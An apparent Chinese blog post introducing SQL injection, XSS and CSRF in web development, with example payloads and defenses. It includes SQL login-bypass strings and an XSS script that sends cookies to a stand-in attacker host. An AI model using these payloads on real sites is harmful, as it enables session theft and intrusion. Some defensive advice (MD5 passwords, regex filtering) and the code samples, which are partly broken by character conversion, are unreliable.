天天看點

淺談web開發的安全問題

一、sql注入

解釋:使用者可以送出一段資料庫查詢代碼,根據程式傳回的結果,獲得某些他想得知的資料,這就是所謂的SQLInjection,即SQL注入。

如:

比如使用者登入例子,在使用者名一欄輸入ddd'OR 1=1;#,查詢結果就會把所有使用者的清單給列出來,繞過密碼驗證。

猜測表名,如插入ddd'OR (select count(*) from user)>0;#,通過傳回結果猜測表的名字。

當知道表的名字後,可以開始驗證表結構,如插入ddd'OR `username` IS NOT NULL;#,通過結果是否報錯确定表結構;

接着灌水,等等。。。

防禦:

1、使用mysqli、pdo等mysql擴充,使用sql預處理,如pdo預處理

$query= "SELECT * FROM user WHERE `username`=? AND `password`=?;";

$stmt= $dbh->prepare($query);

$stmt->execute(array($username,$password));

2、使用轉義函數,如mysql_real_escape_string、addslashes,如

$username= mysql_real_escape_string($_POST['username']);

$password= mysql_real_escape_string(md5($_POST['password']);

二、xss攻擊(CrossSite Scripting跨站攻擊)

解釋:xss表示CrossSiteScripting(跨站腳本攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為使用者輸入,進而達到查詢/修改/删除資料的目的,而在xss攻擊中,通過插入惡意腳本,實作對使用者遊覽器的控制。

如:

惡意插入文案:

<fontcolor='red'>哈哈哈</font>

惡意修改釣魚連結:

<script>window.οnlοad=function(){document.links[0].href='xxx.attack-site.com'}</script>

盜取cookie:

<script>(function(){vars =document.createElement('script');s.src='xxx.attack-site.com/saveCookie.php?c='+escape(document.cookie);document.body.appendChild(s);})()</script>

ps:谷歌安全機制CSP可以檢測xss攻擊代碼,詳情請移步http://drops.wooyun.org/tips/1439

防禦:

1、使用内置過濾函數,如htmlspecialchars、strip_tags、addslashes

2、使用正則比對html代碼比對和過濾字元

ps:對于使用addslashes時,要去掉添加的反斜杠時,要使用stripslashes函數來去除

三、csrf攻擊(Cross-siterequest forgery跨站僞造請求)

解釋:CSRF(Cross-siterequest forgery跨站請求僞造,也被稱為“oneclick attack”或者session riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點内的信任使用者,而CSRF則通過僞裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(是以對其進行防範的資源也相當稀少)和難以防範,是以被認為比XSS更具危險性。

如:

線上刷票,通過登入大量使用者,将使用者參數送出到相應api進行刷票。

學校網絡公選課,爬蟲抓取頁面使用者id和課程examid,送出到相應的api進行刷課。

防禦:

1、進行手動用戶端驗證,驗證用戶端header的資料,如ip、ua、refere、時間戳等資訊,确認是否是合理用戶端。

2、送出參數添加token,後端将token存在session或者緩存中,前端通過密鑰、應用資訊、時間戳算出token,隐藏送出token(其實也不安全),背景攔截token并驗證。

3、自定義http頭屬性,可以與上述token方法結合,如XMLHttpRequest對象使用函數setRequestHeader,jquery在事件beforeSend裡填寫相應操作

4、使用認證協定,如kerberos、cas等,各個開發平台還要安裝各自的擴充,詳情移步

kerberos:http://idior.cnblogs.com/archive/2006/03/20/354027.html

http://gost.isi.edu/publications/kerberos-neuman-tso.html

cas:http://www.cas.org/

繼續閱讀